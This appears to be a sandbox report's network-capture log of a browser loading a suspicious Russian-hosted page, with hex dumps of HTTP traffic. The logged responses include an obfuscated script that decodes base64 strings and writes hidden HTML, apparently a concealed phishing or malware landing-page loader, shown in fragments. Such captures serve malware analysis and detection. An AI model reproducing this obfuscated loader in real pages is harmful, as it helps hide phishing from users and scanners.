2025-02-19 19:43:20 UTC	1369	IN	Data Raw: 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 Data Ascii: i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retur
2025-02-19 19:43:20 UTC	1369	IN	Data Raw: 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 Data Ascii: (o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49710	104.21.25.83	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:20 UTC	652	OUT	GET /aN3ZJ/ HTTP/1.1 Host: xq.intranchmar.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:21 UTC	1250	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G7zfK%2BrZoDl2vr1fTAp9a2KnLygFvoVhzc2zIaUihoeHY2pzY8u7jW7blDkrV1ADtKHGs3RD2M41sFqpKZ6BHxNk6KU0GE7j%2B6HKAtEXOrwz1SCJ4FxsTck%2BvEJQVfsqp8nO0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1274&min_rtt=1163&rtt_var=515&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1567&delivery_rate=2448839&cwnd=251&unsent_bytes=0&cid=2095f3954b728e96&ts=262&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Inlibkp5Q3VTaHpkNWxpMi9TVUg5UHc9PSIsInZhbHVlIjoiR082VmJnRjFXMFZoNU9rcnd1Qnp0SDBYRXBrcERKRmF2SWN6VnQ4a29namRCdkpEQlhwY2UwZUdqNS9XSjMrdjRvK1N6dnBveDlxUENZRzFkSE5zUjdsQVNlaXBGaFFNSWI3ZkpsN3VVTUNzZExjMlNFRDhPbUlUZWpGZjhOUmUiLCJtYWMiOiI1YzlmZGZhZjY1MjliNzcxMTQ5OGIzMjgwMDRiN2JiMmM4ZGVhOGU1YjQzMzBkOGU3NDg0YmZmMzRjNjg4YjEwIiwidGFnIjoiIn0%3D; expires=Wed, 19-Feb-2025 21:43:21 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-02-19 19:43:21 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4a 57 59 6c 63 32 53 6d 49 31 54 55 5a 45 51 32 4e 6d 51 57 68 52 4f 47 35 69 63 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 32 4e 51 63 54 5a 4f 65 6b 78 43 52 7a 41 76 64 44 6b 35 62 58 41 30 5a 47 6c 55 62 6c 52 33 57 53 74 57 4e 47 56 61 61 56 42 6a 5a 43 39 42 53 53 73 35 57 6e 4e 45 4f 48 46 50 5a 46 70 75 5a 31 64 49 57 6c 4d 30 57 55 78 48 4d 57 68 6f 4d 6b 35 69 4c 33 68 47 61 54 52 4a 51 7a 64 4b 52 57 4d 34 4e 45 68 73 63 6a 5a 5a 54 53 38 72 59 53 74 34 61 57 59 79 56 48 4e 6e 63 6b 31 6f 52 6a 52 4b 5a 48 6c 61 56 55 55 78 52 47 70 6d 62 55 56 30 61 6d 6c 34 64 6e 56 56 65 6d 64 6c 4d 6d 4e 55 53 47 64 78 53 58 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkJWYlc2SmI1TUZEQ2NmQWhROG5icXc9PSIsInZhbHVlIjoiR2NQcTZOekxCRzAvdDk5bXA0ZGlUblR3WStWNGVaaVBjZC9BSSs5WnNEOHFPZFpuZ1dIWlM0WUxHMWhoMk5iL3hGaTRJQzdKRWM4NEhscjZZTS8rYSt4aWYyVHNnck1oRjRKZHlaVUUxRGpmbUV0aml4dnVVemdlMmNUSGdxSXc
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 0a 41 6e 77 78 61 63 45 44 43 73 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 34 55 53 35 70 62 6e 52 79 59 57 35 6a 61 47 31 68 63 69 35 79 64 53 39 68 54 6a 4e 61 53 69 38 3d 22 29 3b 0a 6b 43 61 64 79 66 48 68 41 72 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 69 66 28 41 6e 77 78 61 63 45 44 43 73 20 3d 3d 20 6b 43 61 64 79 66 48 68 41 72 29 7b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 50 67 6f 38 61 47 56 68 5a 44 34 4b 49 43 41 67 49 44 78 73 61 57 35 72 49 48 4a 6c 62 44 30 69 Data Ascii: 7ff9<script>AnwxacEDCs = atob("aHR0cHM6Ly94US5pbnRyYW5jaG1hci5ydS9hTjNaSi8=");kCadyfHhAr = atob("bm9tYXRjaA==");if(AnwxacEDCs == kCadyfHhAr){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0i
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 Data Ascii: OFpO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpOOFpO++oOOFp
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f Data Ascii: FpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oO
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f Data Ascii: oO++oO++oO++oOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpOOFpOOFpO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpO++oO++oOOFpO++oO++oOOFpO++oOOFpO++oO++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOO
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b Data Ascii: OOFpOOFpO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpO++oO++
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 Data Ascii: OFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFp
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f Data Ascii: +oO++oOOFpO++oOOFpO++oO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oOOFpO++oO++oOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpO
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b Data Ascii: oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO+
2025-02-19 19:43:21 UTC	1369	IN	Data Raw: 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 Data Ascii: OOFpO++oO++oO++oO++oO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49716	104.17.24.14	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:43:22 UTC	651	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xq.intranchmar.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-19 19:43:22 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 19 Feb 2025 19:43:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 133098 Expires: Mon, 09 Feb 2026 19:43:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fd3bmlWmrYyy5DbeySbXGsmHMBpqpeQgraxSTWAqU%2BInzS8JNuCOKG517N%2FUPs1bsqms2Wuf5E98ZO8oMPa4U0okLLI4A1bMSt%2BzlYWhoTVPHc8fTTgONhmPIrToMjKekh51Gyxg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9148bed5be3e41b5-EWR alt-svc: h3=":443"; ma=86400
2025-02-19 19:43:22 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-02-19 19:43:22 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: 